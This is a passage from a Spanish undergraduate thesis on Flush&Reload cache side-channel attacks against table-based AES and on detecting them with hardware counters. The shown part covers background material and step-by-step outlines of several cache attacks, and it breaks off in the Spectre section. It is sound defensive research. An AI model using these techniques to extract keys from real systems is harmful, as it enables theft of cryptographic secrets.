Detección de ataques basados en el comportamiento temporal de la cache usando contadores hardware Iván Prada Cazalla DOBLE GRADO EN INGENIERÍA INFORMÁTICA Y MATEMÁTICAS. FACULTAD DE INFORMÁTICA UNIVERSIDAD COMPLUTESNE DE MADRID Trabajo de fin de grado del Grado en Doble Grado en Ingeniería Informática - Matemáticas Madrid, 20 de mayo de 2019 Directora: Katzalin Olcoz Herrero Autorización de difusión Iván Prada Cazalla Madrid, 20 de mayo de 2019 El abajo firmante, matriculado en el Doble Grado en Ingeniería Informática y Mate- máticas de la Facultad de Informática, autoriza a la Universidad Complutense de Madrid (UCM) a difundir y utilizar con fines académicos, no comerciales y mencionando expresa- mente a su autor el presente Trabajo Fin de Grado: “Detección de ataques basados en el comportamiento temporal de la cache usando contadores hardware”, realizado durante el curso académico 2018-2019 bajo la dirección de Katzalin Olcoz Herrero en el Departamento de Arquitectura de Computadores y Automática, y a la Biblioteca de la UCM a depositarlo en el Archivo Institucional E-Prints Complutense con el objeto de incrementar la difusión, uso e impacto del trabajo en Internet y garantizar su preservación y acceso a largo plazo. Agradecimientos En primer lugar, quiero agradecer a la directora de mi Trabajo de Fin de Grado el tiempo que me ha dedicado durante el desarrollo del mismo, así como por todos los conocimientos que me ha transmitido durante estos años. Además, quiero agradecer a mi familia la ayuda y el apoyo que me han dado a lo largo de todo este tiempo. A mis padres y a mi hermano por estar siempre ahí. Gracias. i Índice general Resumen v Abstract vi Índice de figuras vii Índice de cuadros ix Acrónimos x 1. Introducción 1 1.1. Antecedentes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2. Objetivos y plan de trabajo . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.3. Organización de la memoria . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2. Conceptos previos 5 2.1. Microarquitectura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.1.1. Jerarquía de memoria . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.1.2. Memoria Cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.1.3. Memoria Virtual . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.1.4. Predictor de saltos y ejecución especulativa . . . . . . . . . . . . . . . 9 2.2. Sistemas Operativos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2.2.1. Mapa de memoria de un proceso . . . . . . . . . . . . . . . . . . . . . 10 2.2.2. Compartición de memoria: Deduplicación . . . . . . . . . . . . . . . . 11 3. Ataques de canal lateral 13 3.1. Tipos de ataques de canal lateral a la cache . . . . . . . . . . . . . . . . . . 14 ii 3.1.1. Time-driven . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 3.1.2. Access-driven . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 3.2. Ejemplos de ataques de canal lateral a la cache . . . . . . . . . . . . . . . . 15 3.2.1. Cache Collision (Tipo de ataque: Time-driven) . . . . . . . . . . . . . 15 3.2.2. Evict+Time (Tipo de ataque: Time-driven) . . . . . . . . . . . . . . 15 3.2.3. Prime+Probe (Tipo de ataque: Access-driven) . . . . . . . . . . . . . 15 3.2.4. Flush&Reload (Tipo de ataque: Access-driven) . . . . . . . . . . . . . 16 3.2.5. Spectre y el predictor de saltos . . . . . . . . . . . . . . . . . . . . . 17 4. Algoritmos de encriptación basados en tablas 21 4.1. Algoritmos de cifrado por bloques . . . . . . . . . . . . . . . . . . . . . . . . 21 4.2. Descripción de un algoritmo de cifrado por bloques iterados: Rijndael . . . . 23 4.2.1. Transformaciones de ronda . . . . . . . . . . . . . . . . . . . . . . . . 25 4.2.2. Optimización de las rondas basada en tablas . . . . . . . . . . . . . . 28 4.2.3. Generación de claves de ronda . . . . . . . . . . . . . . . . . . . . . . 32 5. Entorno experimental 34 5.1. Plataforma experimental . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 5.2. Obtención de parámetros para la plataforma . . . . . . . . . . . . . . . . . . 35 6. Generación del ataque 37 6.1. Deduplicación para la unificación de las librerías . . . . . . . . . . . . . . . . 38 6.2. Fase de recogida de datos . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 6.3. Procesado de datos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 6.3.1. Obtención de la última clave de ronda . . . . . . . . . . . . . . . . . 41 6.3.2. Obtención de la clave inicial . . . . . . . . . . . . . . . . . . . . . . . 44 6.4. Resultados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 iii 7. Detección del ataque 47 7.1. Contadores hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 7.2. Detección del ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 7.3. Detección de ataques fragmentados . . . . . . . . . . . . . . . . . . . . . . . 51 8. Conclusión 60 A. Cuerpos finitos en Rijndael 62 B. Código: Spectre monoproceso 68 C. Código: Atacante, víctima y detector 71 D. Código: Número de ciclos de acceso con y sin fallos de cache 88 Bibliografía 93 iv Resumen En las últimas décadas han surgido múltiples ataques que buscaban explotar las brechas de seguridad de los sistemas informáticos. Entre ellos se encuentran los ataques de canal lateral a cache, destacados por no necesitar ejecutar código privilegiado en la víctima. Esto les hace una buena elección para obtener información privilegiada, dando lugar a graves problemas de seguridad, sobre todo en entornos cloud (debido a la alta compartición de recursos). A lo largo de este trabajo se ha desarrollado un programa que realiza un ataque de canal lateral al algoritmo criptográfico AES-Rijndael. El ataque aprovecha las T-tablas (que fueron introducidas para optimizar el proceso de encriptado) como objetos compartidos entre atacante y víctima, permitiendo así el uso de la técnica Flush&Reload para obtener la clave de encriptación. Se ha desarrollado un segundo programa basado en contadores hardware, que aprovecha los fallos de la memoria cache compartida para detectar cuando se produce un ataque. Además, se ha estudiado el comportamiento del detector para distintas frecuencias de muestreo, con el objetivo de aumentar su fiabilidad y reducir la carga del sistema. Finalmente, se ha estudiado la detección de ataques fragmentados en el tiempo para diferentes frecuencias de muestreo. Los resultados muestran que los contadores hardware son herramientas viables para detectar el ataque, y que utilizar el detector a frecuencias bajas es más efectivo para aumentar las posibilidades de detectar un ataque, sobre todo si el ataque está fragmentado en el tiempo. Palabras clave Ataques de canal lateral a cache, AES, Flush&Reload, contadores hardware. Abstract In recent decades, there have been multiple attacks that seek to exploit the security loopholes of computer systems. Amongst them are side-channel attacks on caches, which stand out for not needing to execute privileged code from the victim. For this reason, they are often chosen to extract secret information, which can lead to serious problems, especially in cloud-based environments (due to highly shared resources). Throughout this project, a program has been developed to perform a side channel attack on the AES-Rijndael cryptographic algorithm. The attack takes advantage of T-tables (which were introduced to optimize the encryption process) as shared objects between attacker and victim, and thus enables the Flush&Reload technique to obtain the encryption key. A second program, based on performance monitoring counters (PMC) has been developed, which takes advantage of the shared cache misses to detect when there is an attack. Furthermore, the detector behavior has been studied for different sampling frequencies in order to increase reliability and to reduce system overhead. Finally, the detectability of a time fragmented attack has been studied for varying sampling frequencies. The results show that PMCs are feasible tools to detect the attack, and that sampling PMCs at lower frequencies is more effective to increase the chances of detecting an attack, especially if the attack has been fragmented in time. Keywords Side-channel attacks, AES, Flush&Reload, Performance Monitoring Counters Índice de figuras 2.1. Ejemplo de procesador con dos cores y tres niveles de cache . . . . . . . . . . 7 2.2. Proceso de deduplicado de páginas . . . . . . . . . . . . . . . . . . . . . . . 12 3.1. Ejemplo de acceso fuera de límites producido por la especulación y que per- mite que funcione Spectre . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 5.1. Topología del procesador Intel Xeon Gold architecture . . . . . . . . . . . . 34 6.1. Atacante y víctima . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 7.1. Resultados obtenidos para diferentes medidas de muestreo (primera fila 100µs, segunda 1ms). En cada una de las imágenes se encuentra el resultado de los contadores: fallos de cache L3 (arriba), e instrucciones de LOAD (abajo), siendo la primera columna con presencia de ataque y la segunda sin él. . . . 51 7.2. Resultados obtenidos para diferentes medidas de muestreo (primera fila 10ms y segunda 100ms). En cada una de las imágenes se encuentra el resultado de los contadores: fallos de cache L3 (arriba), e instrucciones de LOAD (abajo), siendo la primera columna con presencia de ataque y la segunda sin él. . . . 52 7.3. Evaluación de la métrica seleccionada para distinto tiempo de muestreo del detector. En las dos filas se muestra el resultado para cada tiempo de mues- treo: 100µs para la primera fila y 1ms en la segunda, para la métrica “fallos de cache L3 por instrucción de LOAD, multiplicado por 1000”. En la prime- ra columna se encuentra el proceso víctima en presencia de ataque, y en la segunda sin él. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 vii 7.4. Evaluación de la métrica seleccionada para distinto tiempo de muestreo del detector. En las dos filas se muestra el resultado para cada tiempo de mues- treo: 10ms para la primera fila y 100ms en la segunda, para la métrica “fallos de cache L3 por instrucción de LOAD, multiplicado por 1000”. En la prime- ra columna se encuentra el proceso víctima en presencia de ataque, y en la segunda sin él. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 7.5. Métrica aplicada a la detección de paquetes de 500 encriptaciones separadas en intervalos de 10ms. La columna izquierda corresponde con un ataque y la columna derecha sin él. El muestreo del detector utilizado es de 1ms para la primera fila y de 10ms para la segunda. . . . . . . . . . . . . . . . . . . . . . 56 7.6. Métrica aplicada a la detección de paquetes de 50 encriptaciones separadas en intervalos de 10ms. La columna izquierda corresponde con un ataque y la columna derecha sin él. La frecuencia de muestreo del detector utilizado es de 1ms para la primera fila, 10ms para la segunda y 100ms para la tercera. . 58 7.7. Imagen aumentada de la detección del ataque con paquetes de 50 encripta- ciones separados por 10ms y con frecuencia de muestreo de 1ms. . . . . . . . 59 7.8. Métrica aplicada a la detección de paquetes de 50 encriptaciones separadas en intervalos de 100ms. La columna izquierda corresponde con un ataque y la columna derecha sin él. La frecuencia de muestreo del detector utilizado es de 100ms. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 viii Índice de cuadros 2.1. Número de ciclos de acceso a elementos que producen aciertos (están en cache, color rojo) o fallos de cache (no se encuentran en la cache, color negro) . . . 9 2.2. Mapa de memoria de un proceso . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.1. Resultados obtenidos al realizar el ataque 10, 50 y 100 veces . . . . . . . . . 20 4.1. Nrondas según los valores de Nb y Nc . . . . . . . . . . . . . . . . . . . . . . . 24 4.2. Desplazamientos para la transformación ShiftRows según el valor de Nb . . . 27 6.1. Líneas de tablas utilizadas en las pruebas . . . . . . . . . . . . . . . . . . . . 46 ix Acrónimos AES Advanced Encryption Standard. 15, 16, 21, 23, 37, 41, 43, 60 BTAC Branch Target Address Cache. 9, 10 COW Copy-on-write. 11 GF Galois Field. 25, 26, 62–67 KSM Kernel Samepage Merging. 11 LLC Last Level Cache. 7 MDS Microarchitectural Data Sampling. 17 MMU Memory Management Unit. 6, 9 PMC Performance Monitoring Counters. 47 TLB Translation Lookaside Buffer. 9 x Capítulo 1 Introducción 1.1. Antecedentes Múltiples estudios han sido desarrollados a lo largo de estas últimas décadas en los que se han tratado ataques de canal lateral basados en la medición de tiempos. Entre ellos po- demos encontrar publicaciones encargadas de recoger distintas variantes de estos [5, 15], así como focalizadas en los ataques de canal lateral basados en la cache [20]. Para comprobar la peligrosidad de este tipo de ataques, se han utilizado para atacar la seguridad de distintos algoritmos criptográficos, desarrollándose ataques a algoritmos como AES (aprovechando como recurso compartido las T-tablas utilizadas en este algoritmo, la técnica Flush&Reload [26] y la inclusividad de la cache de último nivel) como, por ejemplo, en [4, 7, 21], a RSA (aprovechando la estructura del algoritmo de exponenciación rápida) en [26], o a algoritmos de curva elíptica como ECDSA (aprovechando la estructura de la multiplicación modular de Montgomery) en [25]. Además, estos últimos años han surgido nuevos ataques que aprove- chan estas vulnerabilidades, como Spectre [18], Meltdown [19], y múltiples variantes de ellos [9], o incluso, simultáneamente al desarrollo de este documento, ataques como ZombieLoad [23]. En la búsqueda de contramedidas que disminuyan o erradiquen estas vulnerabilidades, re- cientemente se han comenzado a usar los contadores hardware para detectar este tipo de ataques. Como ejemplos podemos enunciar el artículo de Chiappeta et al [11] (en el que se 1 monitorizan el proceso víctima y el atacante), el detector CloudRadar [27], que monitori- za todas las máquinas virtuales, o CacheShield [7], que simplemente monitoriza el proceso víctima. 1.2. Objetivos y plan de trabajo El objetivo de este trabajo consiste en desarrollar un ataque completo que explote la cache como canal lateral así como la construcción de un programa detector (utilizando contadores hardware) que sea capaz de identificar cuándo se producen estos ataques (y a ser posible, tenga un bajo impacto en el rendimiento). Por último se estudiará la validez del detector construido frente a fragmentaciones temporales del ataque desarrollado. Para conseguir estos objetivos se han desarrollado las siguientes tareas: Estudio de la arquitectura Intel, así como el código ensamblador asociado a ésta. Lectura de distintos tipos de técnicas de ataques (programación orientada a retorno, desbordamiento de pila,...), así como las contramedidas disponibles en los sistemas operativos actuales. Estudio del algoritmo Rindjael así como de la base matemática asociada que lo sus- tenta, junto con el uso de la librería openssl para el cifrado y desencriptado de textos. Implementación de un servidor que hará el papel de víctima. Implementación de un programa que realiza un ataque de canal lateral a cache al proceso víctima y una versión modificada que realiza el ataque fragmentado en el tiempo. Aprendizaje sobre contadores hardware así como de la librería PAPI para el desarrollo del detector. Implementación de un programa para la detección de ataques de canal lateral a cache. 2 Desarrollo de pruebas del detector variando sus parámetros, con el fin de detectar no solo el ataque lanzado en bloque sino fragmentaciones temporales de él. Este trabajo ha sido aceptado como artículo en el congreso Jornadas de Cloud Computing y Big Data 2019, que se celebrará en La Plata (Argentina), y está disponible en [22]. 1.3. Organización de la memoria La estructura de la memoria queda dividida en una serie de capítulos que tratarán lo siguiente: Capitulo 2: diferentes conceptos necesarios para los siguientes capítulos. Capítulo 3: clasificación de ataques de canal lateral, y explicación de algunos ataques de canal lateral a cache. Capítulo 4: se desarrolla el algoritmo Rijndael, objetivo de estudio para poder realizar el ataque. Capítulo 5: entorno utilizado para las pruebas. Capítulo 6: expone de manera detallada el funcionamiento del ataque y el proceso víctima. Capítulo 7: capítulo dedicado a elaborar un detector para el ataque desarrollado en el capítulo anterior, así como un estudio para poder realizar la detección del ataque fragmentado en el tiempo. Capítulo 8: conclusión realizada tras el desarrollo del documento. Por último se encontrarán cuatro anexos. El primero explicará el funcionamiento de las operaciones matemáticas en la estructura algebraica sobre la que se define Rijndael. Los tres siguientes corresponderán a los programas del atacante, la víctima y el detector, así como 3 un pequeño programa destinado a ejemplificar la diferencia de tiempos de acceso a cache frente a los de memoria principal. 4 Capítulo 2 Conceptos previos En este capítulo se busca recordar los conceptos previos necesarios para entender con detalle el ataque desarrollado en el capítulo 6. El ataque se basa en una compleja interacción entre la microarquitectura y el sistema operativo. Debido a esto, se explicarán conceptos de microarquitectura (sección 2.1), que darán la base para entender el comportamiento de la cache, así como las optimizaciones producidas al utilizar memoria compartida, realizadas por el sistema operativo (sección 2.2). Los contenidos han sido extraídos de [16] y de [10], en donde se puede realizar una consulta más detallada. 2.1. Microarquitectura 2.1.1. Jerarquía de memoria Debido a la ley de Moore 1, se ha producido un rápido desarrollo en la tecnología asociada a los microprocesadores. Para el funcionamiento de estos se necesita una unidad de memoria en la que almacenar los datos, con velocidades de transferencia similares a las utilizadas durante la actividad de procesado. Sin embargo, la tecnología asociada a las memorias no ha conseguido los mismos logros a la misma velocidad. Se han desarrollado tecnologías muy rápidas para el almacenamiento, pero con costes muy elevados, y almacenamiento con 1La ley de Moore establece que cada dos años se puede disminuir el tamaño de los transistores a la mitad, lo que implica que en un mismo espacio se puede tener el doble de transistores, o la misma funcionalidad en un espacio con la mitad de tamaño. 5 grandes cantidades de memoria pero muy lentas. Por lo tanto, se ha tenido que diseñar una estructura jerárquica, con el fin de agilizar al máximo los tiempos de acceso, pero sin gastar cantidades ingentes de dinero. Además, hay que tener en cuenta que memorias cache muy grandes no serían tan rápidas debido a los altos tiempos de acceso derivados de su tamaño. La jerarquía de memoria se basa en la estratificación del concepto de una memoria unificada con el fin de obtener los mejores tiempos de acceso posibles, minimizando el gasto económico, y siendo el uso de esta memoria transparente para el usuario. De esta forma, se han situado memorias pequeñas pero muy rápidas en las capas más altas (que carecen de persistencia en el almacenamiento, como pueden ser las memorias cache o la memoria ram o principal) y memorias con mayor almacenamiento y persistencia en capas más bajas (discos duros ssd, discos mecánicos conocidos como memorias secundarias). Las diferencias de tiempo entre capas no son despreciables (llegando a tratarse de distintos órdenes de magnitud), lo que además de producir ventajas, también ha producido algunos problemas, como los ataques de canal lateral, que se tratarán con más profundidad posteriormente en este trabajo. Este conjunto de capas será manejado por componentes hardware y por el sistema operativo, para solventar el problema del direccionamiento de la información almacenada en todas las memorias, de tal manera que siga siendo escalable sin tener que modificar ninguna parte del sistema cada vez que se añada memoria nueva. Tendremos dos etapas importantes: Gestión de la memoria cache, que se encargará del intercambio de información entre memoria cache y memoria principal (y que será realizada por la Memory Management Unit (MMU)). Gestión de la memoria virtual, que se encargará del intercambio de información en- tre memoria principal y memoria secundaria (y que será realizada por la Memory Management Unit (MMU) y el sistema operativo). La jerarquía de memoria tiene que garantizar la inclusión (cualquier nivel debe contener información de niveles inferiores a él), la coherencia (si un dato se encuentra en un nivel 6 superior y es modificado, tiene que hacerse en los niveles que estén por debajo de él) y la localidad tanto temporal, como espacial, que dicen que si un dato es utilizado volverá a serlo pronto, o se utilizarán datos cercanos. 2.1.2. Memoria Cache Sin contar los registros de almacenamiento incluidos en el procesador, que son pocos, el siguiente nivel de la jerarquía es la memoria cache. En los chips actuales podemos encontrar distintos tipos de cache, teniendo caches de nivel 1 (cache L1, normalmente dividida, para tener datos y instrucciones separados) y de nivel 2 (cache L2) individuales para cada núcleo, y una Last Level Cache (LLC) o cache L3 compartida por todos los núcleos del procesador (figura 2.1). Figura 2.1: Ejemplo de procesador con dos cores y tres niveles de cache Para que el procesador pueda acceder a los elementos de estas memorias, serán direc- cionadas físicamente a nivel de byte, con direcciones de 32 o 64 bits según la arquitectura utilizada por el chip. Sin embargo, tras realizar una petición, el procesador no recibirá solo un byte, sino que la cantidad mínima de información compartida entre procesador y cache 7 será una palabra, normalmente formada por 16, 32 o 64 bits. A su vez, cuando la cache pida información a niveles inferiores, obtendrá un bloque/línea, conformado por 64 bytes de información (de esta forma, gracias a la localidad, futuros accesos cercanos se resolverán en menor tiempo que si se tiene que pedir a niveles inferiores). Si el procesador pide un dato que no se encuentra en la cache se producirá un fallo de cache y se tendrá que solicitar el elemento buscado a niveles inferiores. Debido al pequeño tamaño de estas memorias y a que pueden almacenar una cantidad finita de información, los bloques traídos de memoria prin- cipal se ubicarán según unas políticas de emplazamiento (emplazamiento directo, asociativo o asociativo por conjuntos). Además, tras modificar un elemento en la memoria cache, se actualizarán los datos en niveles inferiores según una política de actualización determinada. Para comprobar las diferencias de tiempos de acceso entre memoria cache y memoria principal, se ha realizado un programa disponible en el anexo D. En él se comprueba el tiempo de acceso a diez elementos de un array (separados por un espacio correspondiente a dos veces el tamaño de bloque para no traerlos todos de golpe y evitar posibles prebús- quedas). De estos, todos menos uno han sido expulsados previamente de memoria cache. De esta forma se puede comprobar la diferencia de tiempo entre un acierto y un fallo de acceso a un elemento en la cache. Se muestran en la tabla 2.1 los resultados obtenidos (ciclos que ha durado el acceso a cada elemento del array) tras realizar el promedio de 1000 accesos a los elementos del array. 2.1.3. Memoria Virtual La memoria principal puede ser direccionada con una serie de bits (direcciones físicas). Los sistemas operativos actuales son capaces de gestionar varias tareas para mejorar el apro- vechamiento del procesador y por eso es necesario proporcionar a cada proceso un espacio de direcciones independiente y aislado. Para ello se desarrolló la memoria virtual, que permite a cada proceso tener su propio espacio de direcciones virtual, que tenga como tamaño máximo el que permita direccionar el procesador. Este será dividido en conjuntos de información lla- 8 Elemento del array Ciclos de acceso 0 273 ciclos 1 310 ciclos 2 274 ciclos 3 48 ciclos 4 276 ciclos 5 280 ciclos 6 274 ciclos 7 347 ciclos 8 311 ciclos 9 256 ciclos Tabla 2.1: Número de ciclos de acceso a elementos que producen aciertos (están en cache, color rojo) o fallos de cache (no se encuentran en la cache, color negro) mados páginas. Para cada página utilizada de la memoria virtual, se le asociará una página situada en el espacio de direcciones físico. El encargado de hacer estas traducciones será la Memory Management Unit (MMU). De esta manera, se tendrán en memoria las páginas que se estén utilizando en ese momento. Cuando se solicite una página que haya sido expul- sada de memoria principal pero su proceso la necesite, se provocará una interrupción que llamará al sistema operativo. Este se encargará de obtener la página y sustituirla por otra que esté ocupando la memoria principal, según la política de emplazamiento que esté siendo utilizada. Además, para acelerar la traducción se tendrá una cache especial, la Translation Lookaside Buffer (TLB), encargada de tener las traducciones más recientes. 2.1.4. Predictor de saltos y ejecución especulativa Durante la ejecución de un programa, la toma de ramas correspondiente a condicionales y bucles está ligada a cómo se ha comportado el programa en el pasado. Debido a esta relación con el comportamiento previo del programa, y para aprovechar al máximo los ciclos de reloj, se desarrolló lo que se conoce como predictor de saltos. Este mecanismo permite seleccionar la rama más probable que se tiene que ejecutar, antes de conocer la condición. Además, éste se irá entrenando según vaya conociéndose el comportamiento previo en otras ejecuciones del mismo salto. El predictor consistirá en una memoria cache denominada Branch Target 9 Address Cache (BTAC) (aunque se podrán encontrar otras implementaciones), que para una dirección de una instrucción de salto dirá cual es la siguiente instrucción a utilizar, y que se actualizará según se vayan ejecutando nuevas instrucciones condicionales. La ejecución especulativa es una optimización introducida durante los años 90 en los proce- sadores con el fin de acelerar la ejecución de bucles y condicionales, parando así el pipeline el mínimo tiempo posible. Supongamos que durante la ejecución de instrucciones de un pro- grama llegamos a una instrucción condicional. Para saber qué rama del condicional elegir, necesitamos esperar a tener calculada la condición. Aquí es donde entra la especulación. El procesador continuará ejecutando una de las ramas, que será elegida por un predictor de saltos. Hay que remarcar que durante la ejecución especulativa de instrucciones no se alma- cenarán los cambios realizados de manera definitiva hasta que se compruebe que es la rama correcta. Una vez que se calcule la condición de salto, el procesador comprobará si se tomó el camino correcto. Si fue así, se habrá ganado todo ese tiempo, en el que de otra manera el procesador hubiera estado parado. Si no ha sido la elección correcta (se ha producido un fallo de especulación), no se consolidarán los cambios realizados por las instrucciones especulativas. 2.2. Sistemas Operativos 2.2.1. Mapa de memoria de un proceso Una vez lanzado un ejecutable, el sistema operativo creará un proceso en memoria con la estructura representada en la tabla 2.2. Este mapa se situará en un espacio de direcciones virtual que, según vayan siendo utilizadas, se irán llevando las páginas necesarias a memoria principal. Si la biblioteca es estática, el código completo de ésta habrá sido añadido al ejecutable durante el proceso de compilación. Sin embargo, si es dinámica, el código de la biblioteca no estará presente en el ejecutable. Debido a esto cuando se lance el proceso, éste tendrá una primera llamada que cargará las bibliotecas dinámicas necesarias en el sistema (mediante 10 un montador), o las cargará bajo demanda según las vaya necesitando. Ahora bien, se podrá dar el caso de que más de un proceso necesite la misma biblioteca dinámica. Si se cargara en el sistema tantas veces como procesos la necesitaran, se produciría un consumo demasiado alto para el sistema. Es aquí donde entra la deduplicación. Código Datos con valor inicial Datos sin valor inicial Heap · · · Ficheros proyectados Zona de memoria compartida Código y datos de bibliotecas dinámicas · · · Pila Tabla 2.2: Mapa de memoria de un proceso 2.2.2. Compartición de memoria: Deduplicación El sistema operativo nos permite compartir memoria entre procesos mediante memoria compartida, que consiste en regiones de memoria mapeadas en el espacio de direcciones vir- tuales de distintos procesos, tal como se ve en la figura 2.2. La deduplicación es una técnica de memoria compartida creada para reducir al máximo el número de páginas con la misma información, y que puedan necesitar procesos distintos. En el caso de linux, se conoce como Kernel Samepage Merging (KSM), y consiste en un thread lanzado por el kernel que se encarga de comprobar periódicamente todas las páginas que están siendo usadas y calcular un hash de su contenido. De esta forma si dos páginas comparten hash, se tomarán como la misma y el sistema se quedará con una de ellas, reduciendo así la carga del sistema. Estas páginas serán marcadas como Copy-on-write (COW). Esto indicará al kernel que si alguno de los procesos intenta modificar esa página compartida, automáticamente se le creará una copia individual en la que pueda hacer los cambios necesarios. 11 Figura 2.2: Proceso de deduplicado de páginas 12 Capítulo 3 Ataques de canal lateral Para realizar un ataque a un programa informático se necesita poder analizar su código en búsqueda de posibles fallos derivados de la implementación. Esto no siempre es posible, lo que ha llevado al desarrollo de los conocidos como ataques de canal lateral (side-channel attacks). La idea de este tipo de ataques se basa en la observación y procesado (utilizando técnicas estadísticas) de la información generada por el sistema físico en el que se ejecuta la víctima. Según la influencia que tenga el atacante sobre el canal, se podrán diferenciar en: Pasivos: el atacante observa el canal lateral para obtener conclusiones sobre la ejecu- ción de la víctima. Activos: el atacante interfiere en el canal lateral para estudiar el comportamiento de la víctima durante su ejecución y ver como influyen estas modificaciones. Estos ataques podrán utilizar diferentes canales según el acceso que se tenga al sistema en el que se ejecuta la víctima, tales como: La energía utilizada por el proceso atacado durante su ejecución. Fugas electromagnéticas. Análisis de fallos diferenciales, que consisten en producir fallos en el sistema para ver cómo se comporta el proceso víctima en esos casos. 13 Canales basados en la escucha/observación de medios acústicos (grabados con micró- fonos) u ópticos (grabados por cámaras). Estado de la cache, buffers o registros tras la ejecución de la víctima. A partir de aquí nos vamos a centrar en los ataques que usan la cache como canal lateral, ya que éstos no necesitan acceder físicamente a la máquina, sino sólo ejecutar código no privilegiado en ella. 3.1. Tipos de ataques de canal lateral a la cache Durante el desarrollo de este trabajo trataremos distintos ataques activos y pasivos que utilizan la cache como canal lateral, debido a la importancia e impacto que están adquiriendo en infraestructuras de tipo cloud (un usuario de este tipo de servicio podrá atacar a otro gracias a que ambos comparten algún nivel de cache). Grandes empresas como Amazon, Google e IBM ofrecen servicios basados en estas plataformas, en los que cualquiera puede correr sus aplicaciones, realizar análisis de datos..., con la ventaja de que el coste de utilizar estos servicios es mucho más barato que adquirir la tecnología utilizada. Esta situación ha provocado un gran interés por parte de atacantes e investigadores, debido a la sensibilidad de los datos manejados por estas grandes infraestructuras de cómputo. De esta manera, surgen una serie de ataques, que clasificaremos a continuación. Englobaremos los ataques de canal lateral a cache en los siguientes dos grupos: 3.1.1. Time-driven Estudian la variación del tiempo que tarda en ejecutarse cierto algoritmo tras realizar variaciones en el contenido de la cache compartida entre atacante y víctima, para así buscar correlaciones entre el tiempo que tarda en ejecutarse el algoritmo y la clave utilizada. Este tipo de ataque es muy sensible al ruido, lo que implica que suele ser necesario un gran número de ejecuciones para lograr extraer la clave. La ventaja es que no necesitamos conocer ninguna información interna del proceso víctima, solo el tiempo que tarda en ejecutarse. 14 3.1.2. Access-driven Para esta variante de ataque cambiamos la perspectiva. Su realización depende de poder espiar algún tipo de información utilizada por el algoritmo, ya sea contenido de la cache de datos, de la de instrucciones, o incluso del comportamiento del predictor de saltos. Estos serán mucho más potentes y menos sensibles al ruido que los Time-driven. Se basarán en comprobar si la víctima accede a ciertos elementos, que serán vigilados por el atacante. 3.2. Ejemplos de ataques de canal lateral a la cache Algunos ejemplos de ataques pertenecientes a las categorías anteriores son los siguientes: 3.2.1. Cache Collision (Tipo de ataque: Time-driven) Se basa en observar el tiempo que tarda en ejecutarse un algoritmo sucesivas veces, y según las diferencias de éste (producidas por colisiones en la cache), intentar extraer la información sensible buscada. Fue utilizado, por ejemplo para atacar AES en [6]. 3.2.2. Evict+Time (Tipo de ataque: Time-driven) El ataque consistirá en comprobar si durante la ejecución de la víctima se utiliza algún conjunto específico de la cache. En caso de existir esta dependencia, que el bloque esté o no en la cache afecta en el comportamiento temporal de la víctima. Una vez lanzado el proceso víctima y medido su tiempo de ejecución tendremos dos etapas: Evict: Desalojo un conjunto específico de cache. Time: Medición del tiempo que tarda en ejecutarse de nuevo el algoritmo. 3.2.3. Prime+Probe (Tipo de ataque: Access-driven) Este ataque, al igual que el anterior, se encarga de comprobar si el proceso víctima utiliza ciertos conjuntos de la cache. Se divide en los siguientes pasos: 15 Prime: Ocupamos un conjunto específico de cache. Ejecutar el proceso víctima. Time: Detectamos si el conjunto ocupado en la etapa Prime sigue estándolo. Estos dos últimos tipos de ataques, fueron explotados por ejemplo en [21] por Osvik et al. para extraer la clave de un algoritmo de cifrado AES. 3.2.4. Flush&Reload (Tipo de ataque: Access-driven) Esta técnica fue introducida en [26] para mejorar los ataques de tipo Time-driven. Pre- senta una mayor precisión, ya que nos permite determinar la presencia de una línea concreta en cache (a diferencia de, por ejemplo Evict+Time o Prime+Probe, que solo nos permitían determinar si se había accedido o no a un conjunto). Para ello explota tres conceptos: 1. Memoria compartida entre el proceso atacante y la víctima. 2. Que la cache de último nivel sea compartida, lo que permitirá que los procesos del atacante y de la víctima no tengan que estar necesariamente ejecutándose en el mismo core. 3. La inclusividad de las caches (en concreto la cache de último nivel inclusiva, presente en microprocesadores Intel entre otros). Una vez que el proceso víctima está ubicado en memoria y que el atacante ha conseguido compartir un objeto con él (por ejemplo las T-tablas) mediante la deduplicación, los pasos a seguir por este ataque son los siguientes: Flush: expulsar una línea concreta de todos los niveles de cache (gracias a la inclu- sividad, al expulsarlo de la L1 privada del core en el que se ejecuta el atacante, se eliminará de los niveles inferiores, entre ellos la cache compartida). Ejecutar el proceso víctima. 16 Reload: verificar si la línea expulsada en la etapa Flush ha sido cargada o no por el proceso víctima durante su ejecución. Para ello se comprobará si el tiempo de acceso ha sido superior o inferior a una cota determinada experimentalmente. 3.2.5. Spectre y el predictor de saltos En enero de 2018, Jann Horn, integrante del equipo del Google Project Zero, y un grupo de investigadores liderado por Paul Kocher encontraron de manera independiente un conjunto de vulnerabilidades que consistían en aprovechar el comportamiento temporal de la cache junto con la ejecución especulativa de instrucciones que producen fallos de predicción. Estos son: Las variantes 1 y 2 (CVE-2017-5753 y CVE-2017-5715 respectivamente) llamadas Spectre [18]. Una variante 3 (CVE-2017-5754) conocida como Meltdown [19]. A raíz de esto, surgieron estudios posteriores como [9], en los que se trataron estas y nuevas variantes y que vieron que estos ataques podían obtener datos potencialmente sensibles. Además, recientemente se han descubierto una serie de 